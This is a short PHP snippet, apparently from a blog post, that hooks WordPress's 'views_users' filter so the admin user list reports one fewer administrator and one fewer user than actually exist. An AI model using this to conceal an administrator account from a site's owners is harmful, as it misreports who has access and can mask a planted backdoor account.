Hide Administrator in WordPress

//* Number of administrators minus 1
add_filter("views_users", "hide_administrator");
function hide_administrator($hide){
$users = count_users();
$nums = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($hide['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($hide['all'], 'current') === false ) ? "" : "current";
$hide['administrator'] = '' . translate_user_role('Administrator') . ' (' . $nums . ')';
$hide['all'] = '' . __('All') . ' (' . $all_num . ')';
return $hide;
}

Leave a Reply